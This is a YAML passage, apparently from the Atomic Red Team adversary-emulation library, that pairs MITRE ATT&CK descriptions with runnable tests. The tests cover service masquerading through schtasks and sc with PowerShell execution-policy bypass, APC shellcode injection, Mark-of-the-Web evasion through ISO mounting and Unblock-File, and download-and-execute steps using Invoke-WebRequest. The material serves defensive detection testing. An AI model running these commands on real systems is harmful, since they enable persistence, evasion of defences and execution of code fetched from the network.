        url: https://technet.microsoft.com/en-us/library/bb490996.aspx
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1036.004
    atomic_tests:
    - name: Creating W32Time similar named service using schtasks
      auto_generated_guid: f9f2fe59-96f7-4a7d-ba9f-a9783200d4c9
      description: Creating W32Time similar named service (win32times) using schtasks
        just like threat actor dubbed "Operation Wocao"
      supported_platforms:
      - windows
      executor:
        command: |
          schtasks /create /ru system /sc daily /tr "cmd /c powershell.exe -ep bypass -file c:\T1036.004_NonExistingScript.ps1" /tn win32times /f
          schtasks /query /tn win32times
        cleanup_command: 'schtasks /tn win32times /delete /f

          '
        name: command_prompt
        elevation_required: true
    - name: Creating W32Time similar named service using sc
      auto_generated_guid: b721c6ef-472c-4263-a0d9-37f1f4ecff66
      description: Creating W32Time similar named service (win32times) using sc just
        like threat actor dubbed "Operation Wocao"
      supported_platforms:
      - windows
      executor:
        command: |
          sc create win32times binPath= "cmd /c start c:\T1036.004_NonExistingScript.ps1"
          sc qc win32times
        cleanup_command: 'sc delete win32times

          '
        name: command_prompt
        elevation_required: true
    - name: linux rename /proc/pid/comm using prctl
      auto_generated_guid: f0e3aaea-5cd9-4db6-a077-631dd19b27a8
      description: 'Runs a C program that calls prctl(PR_SET_NAME) to modify /proc/pid/comm
        value to "totally_legit".  This will show up as process name in simple ''ps''
        listings.

        '
      supported_platforms:
      - linux
      input_arguments:
        exe_path:
          description: Output Binary Path
          type: path
          default: "/tmp/T1036_004_prctl_rename"
      dependency_executor_name: sh
      dependencies:
      - description: "#{exe_path} must be exist on system.\n"
        prereq_command: 'stat #{exe_path}

          '
        get_prereq_command: 'cc -o #{exe_path} PathToAtomicsFolder/T1036.004/src/prctl_rename.c

          '
      executor:
        name: sh
        command: |
          #{exe_path} & ps
          TMP=`ps | grep totally_legit`
          if [ -z "${TMP}" ] ; then echo "renamed process NOT FOUND in process list" && exit 1; fi
          exit 0
        cleanup_command: 'rm -f #{exe_path}

          '
  T1055.004:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605
      type: attack-pattern
      created: '2020-01-14T01:29:43.786Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1055.004
        url: https://attack.mitre.org/techniques/T1055/004
      - url: https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx
        description: Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December
          8, 2017.
        source_name: Microsoft APC
      - url: https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/
        description: Gavriel, H. & Erbesfeld, B. (2018, April 11). New ‘Early Bird’
          Code Injection Technique Discovered. Retrieved May 24, 2018.
        source_name: CyberBit Early Bird Apr 2018
      - url: https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows
        description: 'Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE
          INJECTION FOR WINDOWS. Retrieved December 8, 2017.'
        source_name: ENSIL AtomBombing Oct 2016
      - url: https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx
        description: Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017.
        source_name: Microsoft Atom Table
      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        source_name: Elastic Process Injection July 2017
      modified: '2022-04-25T14:00:00.188Z'
      name: 'Process Injection: Asynchronous Procedure Call'
      description: "Adversaries may inject malicious code into processes via the asynchronous
        procedure call (APC) queue in order to evade process-based defenses as well
        as possibly elevate privileges. APC injection is a method of executing arbitrary
        code in the address space of a separate live process. \n\nAPC injection is
        commonly performed by attaching malicious code to the APC Queue (Citation:
        Microsoft APC) of a process's thread. Queued APC functions are executed when
        the thread enters an alterable state.(Citation: Microsoft APC) A handle to
        an existing victim process is first created with native Windows API calls
        such as <code>OpenThread</code>. At this point <code>QueueUserAPC</code> can
        be used to invoke a function (such as <code>LoadLibrayA</code> pointing to
        a malicious DLL). \n\nA variation of APC injection, dubbed \"Early Bird injection\",
        involves creating a suspended process in which malicious code can be written
        and executed before the process' entry point (and potentially subsequent anti-malware
        hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation:
        ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke
        malicious code previously written to the global atom table.(Citation: Microsoft
        Atom Table)\n\nRunning code in the context of another process may allow access
        to the process's memory, system/network resources, and possibly elevated privileges.
        Execution via APC injection may also evade detection from security products
        since the execution is masked under a legitimate process. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_detection: "Monitoring Windows API calls indicative of the various types
        of code injection may generate a significant amount of data and may not be
        directly useful for defense unless collected under specific circumstances
        for known bad sequences of calls, since benign use of API functions may be
        common and difficult to distinguish from malicious behavior. Windows API calls
        such as <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>,
        <code>QueueUserAPC</code>/<code>NtQueueApcThread</code>, and those that can
        be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>,
        may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze
        process behavior to determine if a process is performing actions it usually
        does not, such as opening network connections, reading files, or other suspicious
        actions that could relate to post-compromise behavior. "
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Process: Process Access'
      - 'Process: Process Modification'
      x_mitre_defense_bypassed:
      - Application control
      - Anti-virus
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1055.004
    atomic_tests:
    - name: Process Injection via C#
      auto_generated_guid: 611b39b7-e243-4c81-87a4-7145a90358b1
      description: |
        Process Injection using C#
        reference: https://github.com/pwndizzle/c-sharp-memory-injection
        Excercises Five Techniques
        1. Process injection
        2. ApcInjectionAnyProcess
        3. ApcInjectionNewProcess
        4. IatInjection
        5. ThreadHijack
        Upon successful execution, cmd.exe will execute T1055.exe, which exercises 5 techniques. Output will be via stdout.
      supported_platforms:
      - windows
      input_arguments:
        exe_binary:
          description: Output Binary
          type: path
          default: PathToAtomicsFolder\T1055.004\bin\T1055.exe
      dependency_executor_name: powershell
      dependencies:
      - description: "#{exe_binary} must be exist on system.\n"
        prereq_command: 'if (Test-Path "#{exe_binary}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{exe_binary}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.004/bin/T1055.exe" -OutFile "#{exe_binary}"
      executor:
        command: '"#{exe_binary}"

          '
        name: command_prompt
    - name: EarlyBird APC Queue Injection in Go
      auto_generated_guid: 73785dd2-323b-4205-ab16-bb6f06677e14
      description: "Creates a process in a suspended state and calls QueueUserAPC
        WinAPI to add a UserAPC to the child process that points to allocated shellcode.
        \nResumeThread is called which then calls NtTestAlert to execute the created
        UserAPC which then executes the shellcode.\nThis technique allows for the
        early execution of shellcode and potentially before AV/EDR can hook functions
        to support detection.\n- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocesswithpipe)\n-
        References: \n  - https://www.bleepingcomputer.com/news/security/early-bird-code-injection-technique-helps-malware-stay-undetected/\n
        \ - https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection\n"
      supported_platforms:
      - windows
      input_arguments:
        spawn_process_path:
          description: Path of the binary to spawn
          type: string
          default: C:\Windows\System32\werfault.exe
        spawn_process_name:
          description: Name of the process to spawn
          type: string
          default: werfault
      executor:
        name: powershell
        elevation_required: false
        command: '$PathToAtomicsFolder\T1055.004\bin\x64\EarlyBird.exe -program "#{spawn_process_path}"
          -debug

          '
        cleanup_command: |
          Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
          Stop-Process -Name "#{spawn_process_name}" -ErrorAction SilentlyContinue
    - name: Remote Process Injection with Go using NtQueueApcThreadEx WinAPI
      auto_generated_guid: 4cc571b1-f450-414a-850f-879baf36aa06
      description: "Uses the undocumented NtQueueAPCThreadEx WinAPI to create a \"Special
        User APC\" in the current thread of the current process to execute shellcode.
        \nSince the shellcode is loaded and executed in the current process it is
        considered local shellcode execution.\n\nSteps taken with this technique\n1.
        Allocate memory for the shellcode with VirtualAlloc setting the page permissions
        to Read/Write\n2. Use the RtlCopyMemory macro to copy the shellcode to the
        allocated memory space\n3. Change the memory page permissions to Execute/Read
        with VirtualProtect\n4. Get a handle to the current thread\n5. Execute the
        shellcode in the current thread by creating a Special User APC through the
        NtQueueApcThreadEx function\n\n- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#rtlcreateuserthread)\n-
        References:\n  - https://repnz.github.io/posts/apc/user-apc/\n  - https://docs.rs/ntapi/0.3.1/ntapi/ntpsapi/fn.NtQueueApcThreadEx.html\n
        \ - https://0x00sec.org/t/process-injection-apc-injection/24608\n  - https://twitter.com/aionescu/status/992264290924032005\n
        \ - http://www.opening-windows.com/techart_windows_vista_apc_internals2.htm#_Toc229652505\n"
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: false
        command: "$PathToAtomicsFolder\\T1055.004\\bin\\x64\\NtQueueApcThreadEx.exe
          -debug\n"
        cleanup_command: Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
  T1647:
    technique:
      x_mitre_platforms:
      - macOS
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--7d20fff9-8751-404e-badd-ccd71bda0236
      created: '2022-04-09T15:06:32.458Z'
      x_mitre_version: '1.0'
      external_references:
      - source_name: mitre-attack
        external_id: T1647
        url: https://attack.mitre.org/techniques/T1647
      - source_name: eset_osx_flashback
        url: https://www.welivesecurity.com/wp-content/uploads/200x/white-papers/osx_flashback.pdf
        description: ESET. (2012, January 1). OSX/Flashback. Retrieved April 19, 2022.
      - source_name: fileinfo plist file description
        url: https://fileinfo.com/extension/plist
        description: FileInfo.com team. (2019, November 26). .PLIST File Extension.
          Retrieved October 12, 2021.
      - source_name: wardle chp2 persistence
        url: https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf
        description: Patrick Wardle. (2022, January 1). The Art of Mac Malware Volume
          0x1:Analysis. Retrieved April 19, 2022.
      x_mitre_deprecated: false
      revoked: false
      description: "Adversaries may modify property list files (plist files) to enable
        other malicious activity, while also potentially evading and bypassing system
        defenses. macOS applications use plist files, such as the <code>info.plist</code>
        file, to store properties and configuration settings that inform the operating
        system how to handle the application at runtime. Plist files are structured
        metadata in key-value pairs formatted in XML based on Apple's Core Foundation
        DTD. Plist files can be saved in text or binary format.(Citation: fileinfo
        plist file description) \n\nAdversaries can modify key-value pairs in plist
        files to influence system behaviors, such as hiding the execution of an application
        (i.e. [Hidden Window](https://attack.mitre.org/techniques/T1564/003)) or running
        additional commands for persistence (ex: [Launch Agent](https://attack.mitre.org/techniques/T1543/001)/[Launch
        Daemon](https://attack.mitre.org/techniques/T1543/004) or [Re-opened Applications](https://attack.mitre.org/techniques/T1547/007)).\n\nFor
        example, adversaries can add a malicious application path to the `~/Library/Preferences/com.apple.dock.plist`
        file, which controls apps that appear in the Dock. Adversaries can also modify
        the <code>LSUIElement</code> key in an application’s <code>info.plist</code>
        file  to run the app in the background. Adversaries can also insert key-value
        pairs to insert environment variables, such as <code>LSEnvironment</code>,
        to enable persistence via [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006).(Citation:
        wardle chp2 persistence)(Citation: eset_osx_flashback)"
      modified: '2022-05-11T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Plist File Modification
      x_mitre_detection: "Monitor for common command-line editors used to modify plist
        files located in auto-run locations, such as <code>\\~/LaunchAgents</code>,
        <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code>,
        and an application's <code>Info.plist</code>. \n\nMonitor for plist file modification
        immediately followed by code execution from <code>\\~/Library/Scripts</code>
        and <code>~/Library/Preferences</code>. Also, monitor for significant changes
        to any path pointers in a modified plist.\n\nIdentify new services executed
        from plist modified in the previous user's session. "
      kill_chain_phases:
      - phase_name: defense-evasion
        kill_chain_name: mitre-attack
      x_mitre_is_subtechnique: false
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'File: File Modification'
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1647
    atomic_tests:
    - name: Plist Modification
      auto_generated_guid: 394a538e-09bb-4a4a-95d1-b93cf12682a8
      description: 'Modify MacOS plist file in one of two directories

        '
      supported_platforms:
      - macos
      executor:
        steps: |
          1. Modify a .plist in

              /Library/Preferences

              OR

              ~/Library/Preferences

          2. Subsequently, follow the steps for adding and running via [Launch Agent](Persistence/Launch_Agent.md)
        name: manual
  T1553.005:
    technique:
      modified: '2023-03-22T14:19:50.768Z'
      name: 'Subvert Trust Controls: Mark-of-the-Web Bypass'
      description: |-
        Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named <code>Zone.Identifier</code> with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file is not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)

        Adversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Christiaan Beek, @ChristiaanBeek
      x_mitre_deprecated: false
      x_mitre_detection: 'Monitor compressed/archive and image files downloaded from
        the Internet as the contents may not be tagged with the MOTW. Data and events
        should not be viewed in isolation, but as part of a chain of behavior that
        could lead to other activities.(Citation: Disable automount for ISO)'
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'File: File Metadata'
      - 'File: File Creation'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Application Control
      type: attack-pattern
      id: attack-pattern--7e7c2fba-7cca-486c-9582-4c1bb2851961
      created: '2021-02-22T14:20:31.650Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1553/005
        external_id: T1553.005
      - source_name: Beek Use of VHD Dec 2020
        description: Beek, C. (2020, December 3). Investigating the Use of VHD Files
          By Cybercriminals. Retrieved February 22, 2021.
        url: https://medium.com/swlh/investigating-the-use-of-vhd-files-by-cybercriminals-3f1f08304316
      - source_name: Outflank MotW 2020
        description: Hegt, S. (2020, March 30). Mark-of-the-Web from a red team’s
          perspective. Retrieved February 22, 2021.
        url: https://outflank.nl/blog/2020/03/30/mark-of-the-web-from-a-red-teams-perspective/
      - source_name: Intezer Russian APT Dec 2020
        description: 'Kennedy, J. (2020, December 9). A Zebra in Gopher''s Clothing:
          Russian APT Uses COVID-19 Lures to Deliver Zebrocy. Retrieved February 22,
          2021.'
        url: https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/
      - source_name: Microsoft Zone.Identifier 2020
        description: Microsoft. (2020, August 31). Zone.Identifier Stream Name. Retrieved
          February 22, 2021.
        url: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/6e3f7352-d11c-4d76-8c39-2516a9df36e8
      - source_name: Disable automount for ISO
        description: wordmann. (2022, February 8). Disable Disc Imgage. Retrieved
          February 8, 2022.
        url: https://gist.github.com/wdormann/fca29e0dcda8b5c0472e73e10c78c3e7
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1553.005
    atomic_tests:
    - name: Mount ISO image
      auto_generated_guid: 002cca30-4778-4891-878a-aaffcfa502fa
      description: 'Mounts ISO image downloaded from internet to evade Mark-of-the-Web.
        Upon successful execution, powershell will download the .iso from the Atomic
        Red Team repo, and mount the image. The provided sample ISO simply has a Reports
        shortcut file in it. Reference: https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/

        '
      supported_platforms:
      - windows
      input_arguments:
        path_of_iso:
          description: Path to ISO file
          type: path
          default: PathToAtomicsFolder\T1553.005\bin\T1553.005.iso
      dependency_executor_name: powershell
      dependencies:
      - description: 'T1553.005.iso must exist on disk at specified location (#{path_of_iso})

          '
        prereq_command: 'if (Test-Path "#{path_of_iso}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{path_of_iso}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1553.005/bin/T1553.005.iso -OutFile "#{path_of_iso}"
      executor:
        command: 'Mount-DiskImage -ImagePath "#{path_of_iso}"

          '
        cleanup_command: 'Dismount-DiskImage -ImagePath "#{path_of_iso}" | Out-Null

          '
        name: powershell
    - name: Mount an ISO image and run executable from the ISO
      auto_generated_guid: 42f22b00-0242-4afc-a61b-0da05041f9cc
      description: "Mounts an ISO image downloaded from internet to evade Mark-of-the-Web
        and run hello.exe executable from the ISO. \nUpon successful execution, powershell
        will download the .iso from the Atomic Red Team repo, mount the image, and
        run the executable from the ISO image that will open command prompt echoing
        \"Hello, World!\". \nISO provided by:https://twitter.com/mattifestation/status/1398323532988399620
        Reference:https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/,
        \ "
      supported_platforms:
      - windows
      input_arguments:
        path_of_iso:
          description: Path to ISO file
          type: path
          default: PathToAtomicsFolder\T1553.005\bin\FeelTheBurn.iso
      dependency_executor_name: powershell
      dependencies:
      - description: 'FeelTheBurn.iso must exist on disk at specified location (#{path_of_iso})

          '
        prereq_command: 'if (Test-Path "#{path_of_iso}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{path_of_iso}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1553.005/bin/FeelTheBurn.iso -OutFile "#{path_of_iso}"
      executor:
        command: |
          Mount-DiskImage -ImagePath "#{path_of_iso}" -StorageType ISO -Access ReadOnly
          $keep = Get-Volume -FileSystemLabel "TestIso"
          $driveLetter = ($keep | Get-Volume).DriveLetter
          invoke-item "$($driveLetter):\hello.exe"
        cleanup_command: |
          Dismount-DiskImage -ImagePath "#{path_of_iso}" | Out-Null
          Stop-process -name "hello" -Force -ErrorAction ignore
        name: powershell
    - name: Remove the Zone.Identifier alternate data stream
      auto_generated_guid: 64b12afc-18b8-4d3f-9eab-7f6cae7c73f9
      description: |
        Remove the Zone.Identifier alternate data stream which identifies the file as downloaded from the internet.
        Removing this allows more freedom in executing scripts in PowerShell and avoids opening files in protected view.
      supported_platforms:
      - windows
      input_arguments:
        file_to_download:
          description: File that will be downloaded to test against.
          type: url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/README.md
        file_path:
          description: File to have the Zone.Identifier removed.
          type: string
          default: "$env:tmp\\ReadMe.md"
      dependency_executor_name: powershell
      dependencies:
      - description: A test file with the Zone.Identifier attribute must be present.
        prereq_command: 'if (Test-Path #{file_path}) { EXIT 0 } else { EXIT 1 }

          '
        get_prereq_command: |
          Invoke-WebRequest #{file_to_download} -OutFile #{file_path}
          Set-Content -Path #{file_path} -Stream Zone.Identifier -Value '[ZoneTransfer]','ZoneId=3'
      executor:
        command: 'Unblock-File -Path #{file_path}

          '
        cleanup_command: 'Set-Content -Path #{file_path} -Stream Zone.Identifier -Value
          ''[ZoneTransfer]'',''ZoneId=3''

          '
        name: powershell
    - name: Execute LNK file from ISO
      auto_generated_guid: c2587b8d-743d-4985-aa50-c83394eaeb68
      description: 'Executes LNK file document.lnk from AllTheThings.iso. Link file
        executes cmd.exe and rundll32 to in order to load and execute AllTheThingsx64.dll
        from the ISO which spawns calc.exe.

        '
      supported_platforms:
      - windows
      input_arguments:
        path_of_iso:
          description: Path to ISO file
          type: path
          default: PathToAtomicsFolder\T1553.005\bin\AllTheThings.iso
      dependency_executor_name: powershell
      dependencies:
      - description: 'AllTheThings.iso must exist on disk at specified location (#{path_of_iso})

          '
        prereq_command: 'if (Test-Path "#{path_of_iso}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{path_of_iso}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1553.005/bin/AllTheThings.iso -OutFile "#{path_of_iso}"
      executor:
        command: |
          Mount-DiskImage -ImagePath "#{path_of_iso}" -StorageType ISO -Access ReadOnly
          $keep = Get-Volume -FileSystemLabel "AllTheThings"
          $driveLetter = ($keep | Get-Volume).DriveLetter
          $instance = [activator]::CreateInstance([type]::GetTypeFromCLSID("{c08afd90-f2a1-11d1-8455-00a0c91f3880}"))
          $instance.Document.Application.ShellExecute($driveLetter+":\document.lnk","",$driveLetter+":\",$null,0)
        cleanup_command: 'Dismount-DiskImage -ImagePath "#{path_of_iso}" | Out-Null

          '
        name: powershell
  T1600.002:
    technique:
      x_mitre_platforms:
      - Network
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--7efba77e-3bc4-4ca5-8292-d8201dcd64b5
      type: attack-pattern
      created: '2020-10-19T19:11:18.757Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1600.002
        url: https://attack.mitre.org/techniques/T1600/002
      - source_name: Cisco Blog Legacy Device Attacks
        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
        description: Omar Santos. (2020, October 19). Attackers Continue to Target
          Legacy Devices. Retrieved October 20, 2020.
      modified: '2021-04-29T14:49:39.188Z'
      name: Disable Crypto Hardware
      description: |-
        Adversaries disable a network device’s dedicated hardware encryption, which may enable them to leverage weaknesses in software encryption in order to reduce the effort involved in collecting, manipulating, and exfiltrating transmitted data.

        Many network devices such as routers, switches, and firewalls, perform encryption on network traffic to secure transmission across networks. Often, these devices are equipped with special, dedicated encryption hardware to greatly increase the speed of the encryption process as well as to prevent malicious tampering. When an adversary takes control of such a device, they may disable the dedicated hardware, for example, through use of [Modify System Image](https://attack.mitre.org/techniques/T1601), forcing the use of software to perform encryption on general processors. This is typically used in conjunction with attacks to weaken the strength of the cipher in software (e.g., [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001)). (Citation: Cisco Blog Legacy Device Attacks)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: There is no documented method for defenders to directly identify
        behaviors that disable cryptographic hardware. Detection efforts may be focused
        on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601)
        and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008). Some
        detection methods require vendor support to aid in investigation.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'File: File Modification'
      x_mitre_permissions_required:
      - Administrator
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1542:
    technique:
      modified: '2024-02-26T14:26:14.364Z'
      name: Pre-OS Boot
      description: |-
        Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting)

        Adversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes. Take snapshots of boot records and firmware and compare against known good images. Log changes to boot records, BIOS, and EFI, which can be performed by API calls, and compare against known good behavior and patching.

        Disk check, forensic utilities, and data from device drivers (i.e. processes and API calls) may reveal anomalies that warrant deeper investigation.(Citation: ITWorld Hard Disk Health Dec 2014)
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - Windows
      - Network
      - macOS
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Drive: Drive Modification'
      - 'Network Traffic: Network Connection Creation'
      - 'Process: OS API Execution'
      - 'Driver: Driver Metadata'
      - 'Command: Command Execution'
      - 'Firmware: Firmware Modification'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Host intrusion prevention systems
      - File monitoring
      type: attack-pattern
      id: attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e
      created: '2019-11-13T14:44:49.439Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1542
        external_id: T1542
      - source_name: ITWorld Hard Disk Health Dec 2014
        description: Pinola, M. (2014, December 14). 3 tools to check your hard drive's
          health and make sure it's not already dying on you. Retrieved October 2,
          2018.
        url: https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html
      - source_name: Wikipedia Booting
        description: Wikipedia. (n.d.). Booting. Retrieved November 13, 2019.
        url: https://en.wikipedia.org/wiki/Booting
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1612:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Build Image on Host
      description: "Adversaries may build a container image directly on a host to
        bypass defenses that monitor for the retrieval of malicious images from a
        public registry. A remote <code>build</code> request may be sent to the Docker
        API that includes a Dockerfile that pulls a vanilla base image, such as alpine,
        from a public or local registry and then builds a custom image upon it.(Citation:
        Docker Build Image)\n\nAn adversary may take advantage of that <code>build</code>
        API to build a custom image on the host that includes malware downloaded from
        their C2 server, and then they may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610)
        using that custom image.(Citation: Aqua Build Images on Hosts)(Citation: Aqua
        Security Cloud Native Threat Report June 2021) If the base image is pulled
        from a public registry, defenses will likely not detect the image as malicious
        since it’s a vanilla image. If the base image already resides in a local registry,
        the pull may be considered even less suspicious since the image is already
        in the environment. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Assaf Morag, @MoragAssaf, Team Nautilus Aqua Security
      - Roi Kol, @roykol1, Team Nautilus Aqua Security
      - Michael Katchinskiy, @michael64194968, Team Nautilus Aqua Security
      - Vishwas Manral, McAfee
      x_mitre_deprecated: false
      x_mitre_detection: Monitor for unexpected Docker image build requests to the
        Docker daemon on hosts in the environment. Additionally monitor for subsequent
        network communication with anomalous IPs that have never been seen before
        in the environment that indicate the download of malicious code.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Containers
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Image: Image Creation'
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Flow'
      type: attack-pattern
      id: attack-pattern--800f9819-7007-4540-a520-40e655876800
      created: '2021-03-30T17:54:03.944Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
